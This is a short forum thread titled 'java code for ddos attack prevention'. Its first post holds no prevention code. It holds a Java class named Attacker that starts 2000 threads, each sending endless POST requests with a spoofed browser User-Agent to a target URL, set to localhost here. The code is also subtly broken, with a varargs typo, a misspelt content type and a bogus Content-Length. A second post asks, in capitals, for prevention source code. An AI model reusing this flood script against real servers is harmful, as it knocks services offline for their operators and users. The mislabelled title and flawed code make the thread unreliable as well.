Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
java code for ddos attack prevention
#1

public class Attacker {

public static void main(String.. args) throws Exception {
for (int i = 0; i < 2000; i++) {
DdosThread thread = new DdosThread();
thread.start();
}
}

public static class DdosThread extends Thread {

private AtomicBoolean running = new AtomicBoolean(true);
private final String request = "http://localhost:8080/mypath/index.htm";
private final URL url;

String param = null;

public DdosThread() throws Exception {
url = new URL(request);
param = "param1=" + URLEncoder.encode("87845", "UTF-8");
}

@Override
public void run() {
while (running.get()) {
try {
attack();
} catch (Exception e) {

}

}
}

public void attack() throws Exception {
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("charset", "utf-8");
connection.setRequestProperty("Host", "localhost");
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0");
connection.setRequestProperty("Content-Type", "application/x-ww-form-urlencoded");
connection.setRequestProperty("Content-Length", param);
System.out.println(this + " " + connection.getResponseCode());
connection.getInputStream();
}
}

}
Reply

#2
YES WE ARE LOOKING FOR D-DOS ATTACK PREVENTION PROJECT/SOURCE CODE .HELP ME
Reply



Forum Jump:


Users browsing this thread:
1 Guest(s)

Powered By MyBB, © 2002-2024 iAndrew & Melroy van den Berg.